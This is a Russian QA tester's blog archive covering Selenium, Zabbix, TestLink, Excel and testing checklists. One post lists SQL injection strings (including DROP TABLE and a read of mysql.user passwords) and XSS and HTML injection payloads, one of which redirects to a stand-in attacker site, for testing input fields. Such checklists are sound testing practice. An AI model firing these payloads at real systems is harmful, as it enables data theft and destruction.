среда, 4 декабря 2013 г.

Нажимаем на кнопку – получаем ошибку

      Расскажу про еще одну довольно-таки часто встречающуюся ошибку: использование для срабатывания кнопки метода keyDown вместо keyUp. Обычно такие ошибки появляются, когда программисты не понимают, как разница этих методов повлияет на поведение программы.
      В результате, нажав на странице на кнопку, которая срабатывает по keyDown и удерживая ее, действие будет выполняться до тех пор пока мы не отпустим кнопку. То есть вместо одного запроса будет выполнено несколько, или форма будет сохранена несколько раз и т.п.
      Найти такую ошибку довольно просто: наводим на кнопку указатель мыши, нажимаем и удерживаем кнопку. Или переходим к кнопке, нажимаем на Enter и удерживаем некоторое время. Если в результате страница не зависла, в базе не создались дубликаты, не начали открываться миллионы одних и тех же окон, то критичного бага тут нет)))
      Однако, если проверяемое приложение требует особой надежности, и есть сомнения в том, какой метод срабатывания был использован, то все же нужно привлекать программистов и смотреть код.

четверг, 21 ноября 2013 г.

Ограничение длины поля: считайте правильно!

      Эта ошибка встречается довольно-таки часто, поэтому я решила, что о ней стоит написать.

      Как известно, при тестировании полей ввода одной из обязательных проверок является проверка на ввод максимального значения. Если программисты поначалу допускают в этих местах ошибку, то через некоторое время работы вместе с тестировщиком они уже не забывают добавлять ограничения на длину введенных значений и выводить соответствующее предупреждение до сохранения в базу данных.

      Вроде бы всё.  Кажется, что проблем с сохранением этого поля быть не должно… Но тут все же может оставаться ошибка. Дело в том, что программисты зачастую при проверке введенного значения считают, что максимальная длина поля равна длине колонки в базе данных. Но ведь длина в базе указывается в байтах, а в поле вводятся символы, которые могут занимать от 1 до 3 байт! То есть реально возможное значение, которое нужно сохранить, будет примерно вдвое меньше длины колонки.

      Итак, проверяя поле на ввод максимального количества символов, недостаточно просто забить поле произвольным текстом, ведь нужно учитывать не только количество символов, но и количество байт. Например, подставляя длинную строку, состоящую только из букв «а», мы не найдем ошибку. А вот подставив строку из букв «ё», мы получим ошибку сохранения в базу.

      Будьте внимательны, проверяйте правильно. Ну а «Ё» нам поможет)))

среда, 16 октября 2013 г.

Zabbix: веб-мониторинг

      У Zabbix есть интересная возможность – веб-мониторинг. Веб-мониторинг позволяет проверять доступность веб-сайтов, код ответа страницы, скорость загрузки и время ответа, а также проверять наличие определенного текста на странице. Благодаря тому, что можно передавать переменные в post, можно проверять авторизацию, заполнению форм и т.п.
      Подробный пример создания сценария для веб-мониторинга есть на сайте zabbix.

      Добавлю несколько замечаний, с которыми я столкнулась при создании веб-сценариев. Возможно, кому-нибудь они пригодятся.
  • При создании шага сценария нужно учитывать, что значение url имеет ограничение в 128
  • ·         символов (но где-то в настройках zabbix длину можно изменить).
  • При создании шага нужно сначала сохранить изменения на вкладке «Шаги», а потом сохранить сам сценарий на вкладке «Сценарий», иначе ничего не сохранится.
  • В документации указано «Как только сценарий будет создан, Zabbix автоматически добавит сопутствующие элементы данных для мониторинга и привяжет их к выбранной группе элементов данных», однако при просмотре этой группы данных или списка итемов для хоста эти добавленные элементы показываться не будут. Не нужно думать, что что-то сломалось. Просто элементы данные для веб-мониторинга считаются «внутренними» и поэтому не показываются пользователям для редактирования. При создании триггера эти итемы показываются и их можно выбрать из списка.

четверг, 10 октября 2013 г.

Слайдкаст «10 принципов Agile тестировщика»

       Замечательный вдохновляющий слайдкаст от Андрея Дзыни «10 принципов Agile тестировщика». Вроде бы все перечисленные правила очевидны сами по себе, но к каждому пункту даются хорошие советы и рекомендации (где прочитать про техники тест-дизайна, как задавать вопросы программистам...). Все очень хорошо и по существу.

       Вот сами правила:
  1. Быть смелым и решительным
  2. Задавать неудобные вопросы
  3. Обладать техническими знаниями
  4. Дружить с программистом
  5. Знать все практики тест дизайна
  6. Исследовать и экспериментировать
  7. Смотреть по сторонам
  8. Заряжать духом тестирования
  9. Приносить ценность продукту
  10. Постоянно улучшаться

четверг, 12 сентября 2013 г.

Zabbix: Срабатывание триггера для net.tcp.service

      Еще немного про zabbix…

      Нужно было создать триггер, который бы срабатывал, если сервис не отвечает более 5 минут.
      Вроде бы логично предположить, что триггер будет выглядеть так:
            net.tcp.service[http,,8080].last(300)=0
      Но это решение неверно, т.к. в описании функции триггера last сказано, что параметр сек – игнорируется.

      А правильно использовать avg() вместо last():
            net.tcp.service[http,,8080].avg(300)=0

      В таком виде триггер будет работать именно так, как нам и нужно.

среда, 28 августа 2013 г.

Когда ищешь, смотри по сторонам...

      Недавно мне нужно было на работе немного позаниматься настройкой Zabbix для мониторинга серверов. Одним из пунктов настройки была настройка отправки email-уведомлений. В документации все довольно хорошо описано, поэтому мне казалось, что трудностей возникнуть не должно. Делаю все как описано, а в результате – вместо ожидаемого вида сообщения получаем весь текст одной сплошной строкой.

      Почему так происходит? Может быть zabbix не воспринимает перевод на новую строку? Может быть нужно использовать в шаблоне сообщения какой-то особый символ для переноса строки? Или это какой-то баг zabbix?..

      Сначала я пыталась как-нибудь изменить шаблон, чтобы переносы в получаемом сообщении отображались корректно. Так как успехом это не закончилось, то я решила поискать решение в интернете, вдруг кто-то с этим тоже столкнулся? Но ничего конкретного найти не удалось…

      А через некоторое время я обнаружила, в чем была причина. Я просто не там ее искала! Видимо из-за того, что с zabbix я работала впервые, мне казалось, что все ошибки будут только из-за неправильной настройки zabbix. А причина была в почтовом клиенте Outlook! Нужно было всего лишь запретить удаление дополнительных переносов строк в сообщениях, и теперь сообщения от zabbix приходят именно в том виде, как это указано в шаблоне.

      Итак, в Outlook идем на вкладку Файл, переходим к пункту Параметры, далее в разделе Почта убираем флаг для «Удалять дополнительные переносы строк в текстовых сообщениях», и перестаем ругать Zabbix – он тут не виноват. :)

      Еще раз убедилась, что на любую проблему надо смотреть шире. Ведь все гораздо проще, чем мы думаем ;)

вторник, 27 августа 2013 г.

Оформление таблицы со списком в Excel

      Очень часто я создаю для себя различные таблицы с параметрами, требованиями или чек-листы. Все это удобно делать в виде таблиц в Excel. При этом для удобства я использую следующие «очевидности»:
  1. Использую сворачиваемые списки для группировки значений (Данные - > Группировать). Если свернуть все группы, то по заголовкам групп первого уровня можно быстрее найти нужную группу.
  2. Закрепляю верхнюю строку с заголовком (Вид - > Закрепить области). Это очень упрощает просмотр длинных таблиц, всегда понятно , как называется столбец, даже если он находится в самом конце длинной таблицы.
  3. Использую цветовое выделение различных групп.
В результате мои таблицы имеют такой вид:

В свернутом виде


В развернутом виде

четверг, 15 августа 2013 г.

Сворачивание списка в Excel

      Очень часто при создании таблиц в Excel хотелось бы использовать сворачиваемые списки. Оказывается, это очень просто!

      Итак, как же это сделать?
      1. Выделяем строки раздела, которые нужно сгруппировать, кроме заголовка.
      2. Выбрать Данные -> Группировать
      3. Если были выделены не целые строки при помощи их заголовков, а просто группа ячеек, то отобразится диалоговое окно, в котором пользователю будет предложено уточнить, что он группирует — строки или столбцы.
      4. Готово!

      Теперь раздел строк можно свернуть или развернуть, нажав на кнопки «+» или «-».
      Для отображения строк определенного уровня нужно нажать на кнопки 1, 2 и т.п., соответствующие уровню.

      По умолчанию кнопки «+»/ «-» расположены внизу, но чаще всего это неудобно и некрасиво. Поэтому сделаем небольшие изменения и разместим кнопку для группировки сверху.
      Для этого в настройках раздела «Структура» в Excel нужно откорректировать расположение итоговых данных и снять флаг «итоги в строках под данными»:

      Теперь сгруппированный список выглядит так:


пятница, 9 августа 2013 г.

Selenium: проверка присутствия элемента на странице

      Одной из наиболее частых проверок в автотестах является проверка присутствия какого-либо объекта на странице. В SeleniumIDE для этого существует метод isElementPresent, а для вебдрайвера такого метода нет, но можно написать свой собственный метод:

   public static boolean isElementPresent(By by) {
     try {
       driver.findElement(by);
       return true;
     } catch (NoSuchElementException e) {
       return false;
     }
   }

понедельник, 5 августа 2013 г.

Selenium: сохранение скриншота при неуспешном выполнении теста

После выполнения автоматического теста на Selenium необходимо проанализировать результаты, а если тест оказался провален, то нужно еще и понять причину. Для нахождения ошибки при выполнении теста можно пользоваться записями в логе. Но иногда записей бывает недостаточно И вообще, лучше один раз увидеть, чем сто раз… прочитать лог.

Для того, чтобы снять скриншот экрана, у Selenium есть метод getScreenshotAs. Снятый скриншот помещается во временный файл в формате .png. Нужно скопировать этот временный файл куда-нибудь, чтобы его сохранить, иначе он будет автоматически удален после окончания выполнения тестов. 
File scrFile = ((TakesScreenshot) driver).getScreenshotAs(OutputType.FILE);
FileUtils.copyFile(scrFile, new File("C:/Work/screenshot.png"));


Итак, с сохранением скриншота все довольно просто. Но как сделать так, чтобы скриншот сохранялся только при неуспешном выполнении теста?

Для этого нужно воспользоваться возможностями фреймворка TestNG, а именно аннотацией @AfterMethod. Метод с такой аннотацией будет запускаться всегда после выполнения каждого тестового метода (для аннотации нужно обязательно указать alwaysRun = true). Далее нужно проверить результат выполнения теста ITestResult, и если результат неуспешный, то делаем скриншот.

В результате получаем: 
@AfterMethod(alwaysRun = true)
public void takeScreenshot(ITestResult result) { 

   if (! result.isSuccess()) {       File scrFile = ((TakesScreenshot) driver).getScreenshotAs(OutputType.FILE);
      try {
         String scrFilePath = "C:/Work/screenshot.png";
         FileUtils.copyFile(scrFile, new File(scrFilePath));
         log.log(Level.SEVERE, "<a href='file:///" + scrFilePath + "'>"+ result.getMethod().getMethodName()</a>");
      } catch (IOException ex) {
         log.log(Level.SEVERE, null, ex);
      }
   }
}

четверг, 25 июля 2013 г.

Selenium: завершение работы браузера

      При написании автотестов важно не забывать правильно их завершать. Для тестов, написанных с помощью вебдрайвера, после выполнения всех проверок нужно остановить браузер. У вебдрайвера есть два метода для завершения работы браузера quit и close. Различие этих методов в том, что close только закрывает текущее окно, а quit закрывает все окна, останавливает браузер и кроме того удаляет все временные файлы.

      Поэтому для корректной остановки браузера нужно пользоваться только методом quit. Можно, например, вынести завершение работы браузера в отдельный метод:

public void closeDriver() {
    //log.log(Level.INFO, "Start closeDriver");
    try{
         if (driver !=null) {
             //log.log(Level.FINE, "Closing driver...");
             driver.quit();
            driver = null;
         }
    }
    catch (Exception e){
        //log.log(Level.SEVERE, "Could not close webdriver", e);
    }

}

понедельник, 22 июля 2013 г.

Selenium: настройка driverTimeout

      При выполнении теста Webdriver выполняет все команды последовательно, не дожидаясь окончания выполнения предыдущей. Например, нажали на какую-нибудь кнопку на странице, в результате должно появиться новое поле, в которое нужно что-то ввести, но из-за асинхронной работы Webdriver команда работы с этим полем выполняется раньше, чем оно успевает появиться. Из-за этого тест может возвращать ошибку, что элемент не найден.

      Чтобы избежать этой ошибки можно каждый раз проверять наличие элемента на странице. Для этого придется использовать цикл и периодически вызывать метод findElement. Очевидно, что писать циклы для проверки наличия элемента перед выполнением каждой команды очень неудобно. К счастью, у Webdriver есть возможность задавать неявные ожидания.

      Значение неявного ожидания можно задать всего один раз, и потом Webdriver каждый раз перед выполнением команды будет пытаться найти элемент. Если же в течение указанного времени элемент не появится, то получим исключение NoSuchElementException.

       int driverTimeout = 15;
       driver.manage().timeouts().implicitlyWait(driverTimeout, TimeUnit.SECONDS);


      Включать и отключать неявное ожидание, а также менять время ожидания, можно в любой момент.

четверг, 27 июня 2013 г.

Selenium: Запуск браузера Firefox с настроенным профилем

      При запуске браузера Firefox вебдрайвер каждый раз создает новый профиль с настройками по умолчанию. Но если для выполнения теста нужно подключить какие-нибудь плагины или, например, настроить параметры proxy? Существует как минимум две возможности это сделать:
  •  все необходимы настройки свойств браузера (preferences) можно сделать в коде тестов;
  •  можно запустить Firefox с заранее настроенным профилем.

      Настройка свойств браузера в коде теста

      Список настраиваемых свойств и их названия можно узнать, набрав в адресной строке браузера специальный адрес about:config, а также в базе знаний Mozilla.

      Установка свойства браузера выполняется с помощью метода setPreference для профайла:
      profile.setPreference(свойство, значение_свойства);

      В коде теста это будет выглядеть так:
      import org.openqa.selenium.*
      import org.openqa.selenium.firefox.* 

      profile = new FirefoxProfile();
      profile.setPreference("capability.policy.default.Window.frameElement", "allAccess");
      driver = new FirefoxDriver(profile);

      Запуск Firefox с заранее настроенным профилем

      Не все настройки браузера можно изменить через интерфейс Selenium. Если все же необходимо запустить Firefox с модифицированными настройками или нужными сертификатами безопасности, то можно заранее подготовить профиль с необходимыми настройки и указывать его в тесте при запуске браузера.

      Подготовка профиля Firefox

  • Закрыть все запущенные приложения Firefox
  • Запустить командную строку Run(Выполнить) и выполнить: firefox.exe –p
  • Создать новый профайл, назвать его Webdriver
  • Запустить браузер пользователем Webdriver и настроить необходимые параметры браузера

      Код для запуска браузера с выбранным профилем

      import org.openqa.selenium.firefox.FirefoxDriver;
      import org.openqa.selenium.firefox.FirefoxProfile;
      import org.openqa.selenium.firefox.internal.ProfilesIni;
       …
      FirefoxProfile profile = new ProfilesIni().getProfile("Webdriver");
      driver = new FirefoxDriver(profile);

среда, 26 июня 2013 г.

Совет по выбору декодера

      Периодически каждый, кто работает с компьютером, сталкивается с текстами в непонятной кодировке: то сообщение об ошибке выводится непонятными символами, то в тексте письма сплошная абракадабра… К счастью, сейчас в интернете можно найти множество самых разных декодеров текста. Одни из них более удобны в использовании, другие же совершенно неудобные и непонятные.

      Какие у меня основные требования к декодеру?
  • исходный текст и результат должны располагаться рядом на одной странице (без каких-либо переходов и всякой «анимации»;
  • вид кодировки должен определяться автоматически или должны присутствовать подсказки для выбора кодировки;
  • для меня чаще всего нужно декодировать текст на русском языке, поэтому декодер обязательно должен корректно работать именно с кириллицей;
  • раскодированный текст можно копировать просто с помощью Ctrl+C (результаты в виде txt- или doc-файлов для скачивания совершенно неудобны!);
  • после декодирования должна указываться исходная кодировка;
  • можно выбирать кодировку для отображения результата декодирования.

      С учетом этих требований для себя я выбрала Универсальный декодер кириллицы.
      Самый удобный декодер. Советую! :)

среда, 19 июня 2013 г.

Чит-листы для проверки XSS, SQL- и HTML-инъекций

SQL-инъекции кавычка '
OR '1'='1'
' or '1'='1' -- '
' or '1'='1' ({ '
' or '1'='1' /* '
12345) AND 1=1--:hash
SELECT user(); или SELECT system_user();
SELECT host, user, password FROM mysql.user;
SELECT database()
DROP TABLE user;


XSS <script>alert("xss-injection!")</script>
<script>document.getElementByID("...").disabled=true</script>
<script>window.parent.location.href='http://hacker_site';</script>
<img src=javascript:alert('xss-injection!')>
<input onclick="javascript:alert('xss-injection');">
<b onmouseover="alert('xss-injection!')">Hello</b>


HTML-инъекции </body>
<textarea />
<input></input>
<form action="http://google.com"><input type="submit"></form>

вторник, 18 июня 2013 г.

Чит-лист для проверки поиска

Номер Проверка
1 Пустое поисковое поле
2 Язык: русский, английский, другой
3 Одно слово
4 Строгое соответствие
5 Морфологический поиск (дорогу, дороге)
6 Поиск по фразе (два и более слов)
7 Поиск по фразе: И или ИЛИ
8 Поиск по цифрам
9 Использование символов (?, *, ', ", .*, =, ++)
10 Поиск с учетом порядка слов (дальняя дорога, дорога дальняя)
11 Е и Ё
12 Текст в другой кодировке
13 Проверка допустимой длины поля поиска

понедельник, 17 июня 2013 г.

Чит-лист для проверки поля email

Номер Проверка Ожидаемый результат
1 Пустое поле email Сообщение о незаполненном поле email
2 Email в нижнем регистре Значение поля принимается
3 Email в верхнем регистре Значение поля принимается
4 Email с цифрами в имени пользователя Значение поля принимается
5 Email с цифрами в доменной части Значение поля принимается
6 Email с дефисом в имени пользователя Значение поля принимается
7 Email с дефисом в доменной части Значение поля принимается
8 Email со знаком подчеркивания в имени пользователя Значение поля принимается
9 Email со знаком подчеркивания в доменной части Значение поля принимается
10 Email с точками в имени пользователя Значение поля принимается
11 Email с несколькими точками в доменной части Значение поля принимается
12 Email без точек в доменной части Сообщение о некорректном email
13 Превышение длины email (>320 символов) Сообщение о некорректном email
14 Отсутствие @ в email Сообщение о некорректном email
15 Email с пробелами в имени пользователя Сообщение о некорректном email
16 Email с пробелами в доменной части Сообщение о некорректном email
17 Email без имени пользователя Сообщение о некорректном email
18 Email без доменной части Сообщение о некорректном email
19 Некорректный домен первого уровня (допустимо 2-6 букв после точки: .ru) Сообщение о некорректном email
20 Email с кириллическим доменным именем (login@домен.рф) ?

пятница, 14 июня 2013 г.

Чит-лист для проверки числового поля

Номер Проверка
1 Пустое поле
2 Корректное значение
3 Граничные значения
4 Отрицательные числа
5 Числа со знаком +
6 Дробные числа с разделителем "точка"
7 Дробные числа с разделителем "запятая"
8 Не должны приниматься буквы
9 Не должны приниматься спецсимволы
10 Научная запись чисел, например: 1Е-13
11 В шестнадцатеричной системе счисления, например: F8

четверг, 13 июня 2013 г.

Чит-лист для проверки текстового поля

Номер Проверка
1 Пустое поле
2 Текст на латинице
3 Текст на кириллице
4 Текст в верхнем регистре
5 Текст в нижнем регистре
6 Текст в верхнем и нижнем регистрах
7 Спец. символы: ~`!@#$%^&*()_+?:"{}[];’
8 Цифры
9 Длинные строки: 255, 256, 257, 1000, 1024, 2000, 2048 или более знаков
10 Пробелы
11 Строка, начинающаяся и заканчивающаяся с пробелов
12 Буквы других алфавитов: ö, ä, β и т.п.
13 Символы: ▲♦♥

понедельник, 3 июня 2013 г.

Testlink. Дополнительные возможности

      1. TestLink имеет встроенную поддержку рассылки уведомлений и отчетов с помощью e-mail. Настраивается в конфигурационных файлах.

      2. Внешний вид TestLink можно менять, написав собственные CSS и поместив их в директорию gui/themes/your_theme/:
  • testlink.css (main style definition)
  • tl_print.css (specific settings for printing of pages)
  • tl_documents.css (used for generated documents; for example Test Specification)
  • tl_treemenu.css (specific settings for tree menu) 


                                              
       Другие статьи о Testlink:


Testlink. Связь с багтрекером

      Testlink позволяет связывать тесты с багами в багтрекере. Для включения этой возможности нужно изменить параметр в конфигурационном файле custom_config.inc.php. По умолчанию этот интерфейс заблокирован (значение 'NO').
      У нас в качестве бактрекинговой системы используется Redmine, поэтому указываем $g_interface_bugs = 'REDMINE';
      Затем в файле /cfg/redmine.cfg.php указываем необходимые параметры соединения с БД багтрекера:
            define('BUG_TRACK_DB_HOST', 'localhost');
            define('BUG_TRACK_DB_NAME', 'tracker');
            define('BUG_TRACK_DB_CHARSET', 'UTF-8');
            define('BUG_TRACK_DB_TYPE','mysql');
            define('BUG_TRACK_DB_USER', 'admin');
            define('BUG_TRACK_DB_PASS', 'password');

      После этого при прогоне тестов для выполненных тестов будет возможность добавления бага.

      Есть возможность перейти в трекер для заведения нового бага или можно указать номер уже созданного бага. Я предпочитаю сначала заносить баг в трекер, а в Testlink только указать его номер.
 

      После этого список добавленных багов отображается на странице прогона теста ниже области результатов прогона. Для бага отображается статус в трекере и название, которые автоматически берутся из багтрекера .



                                              
       Другие статьи о Testlink:


четверг, 30 мая 2013 г.

Testlink. Отчеты

      В разделе «Отчеты» в Testlink можно посмотреть различные отчеты по тестам, прогонам и обнаруженным багам. Отчеты строятся для каждого конкретного тест-плана отдельно. Можно выбрать удобный формат вывода отчета (html, excel, word).
      Несмотря на то, что Testlink предлагает более 10 различных отчетов, полезными и используемыми для меня стали только два:
  • Отчет о прогоне тестов – отображает выполнение тестов по версиям проверяемого приложения

  •  Отчет об обнаруженных багах – показывает все баги для всех версий, найденные для тест-плана и указанные в Testlink. Баги выводятся с указанием теста, к которому они относятся. Для багов показываются статусы «Открыт», «Закрыт».


                                              
       Другие статьи о Testlink: